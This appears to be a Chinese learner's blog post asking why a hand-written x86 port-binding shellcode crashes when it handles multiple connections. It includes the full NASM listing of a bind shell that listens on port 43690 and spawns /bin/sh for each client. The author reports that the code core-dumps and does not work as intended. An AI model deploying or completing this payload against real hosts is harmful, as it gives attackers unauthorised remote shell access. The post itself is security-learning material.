问题:得到端口绑定shellcdoe,使其可以接受多个连接。
经过三天的努力,仍然没有完成shellcode,现在决定暂时放弃,继续向前学习。
我虽然编写了shellcode,而且可以正常监听端口,但无法正确处理多个连接。详细问题如下:
执行服务器后,用netstat命令发现服务器正在监听43690端口。但用nc命令连接上服务器后,服务器显示core dumped然后退出,客户端虽然仍然处于连接状态,但无法响应shell命令。此时用netstat命令,发现服务器仍然在监听43690端口,而且客户端和服务器之间的连接仍然存在。此时,再打开另一个shell,用nc命令连接服务器,连接自动退出,而且导致前一个客户端shell连接中断,此时用netstat命令查看,服务器监听和前一个连接都消失。
现在怀疑是loop循环和fork过程中某处有问题,导致循环终止,而且dup2和execve都没有执行。
完整的shellcode如下:
BITS 32
xor eax,eax
xor ebx,ebx
cdq
;socket(2, 1, 0)
push edx
push byte 0x1
push byte 0x2
mov ecx,esp
inc bl
mov al,102
int 0x80
mov esi,eax
;serv_addr.sin_family = 2
;serv_addr.sin_addr.s_addr = 0
;serv_addr.sin_port = 0xAAAA
;bind(sock, (struct sockaddr *)&serv_addr, 0x10)
push edx
push long 0xAAAA02AA
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
inc bl
mov al,102
int 0x80
;listen(sock,0)
push edx
push esi
mov ecx,esp
mov bl,0x4
mov al,102
int 0x80
;for(;;)
loop1:
;cli = accept(sock, 0, 0)
push edx
push edx
push esi
mov ecx,esp
inc bl
mov al,102
int 0x80
mov ebx,eax ;ebx = cli
;if(!fork())
mov al,2
int 0x80
mov ecx,eax
jnz loop1 ;eax = 0 if fork successful
;dup2(cli, 0/1/2)
xor ecx,ecx
mov cl,3
loop2:
dec cl
mov al,63
int 0x80
jnz loop2
;execve("/bin/sh", 0, 0)
;xor eax,eax
;cdq
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,11
int 0x80
jmp loop1
阅读(609) | 评论(0) | 转发(0) |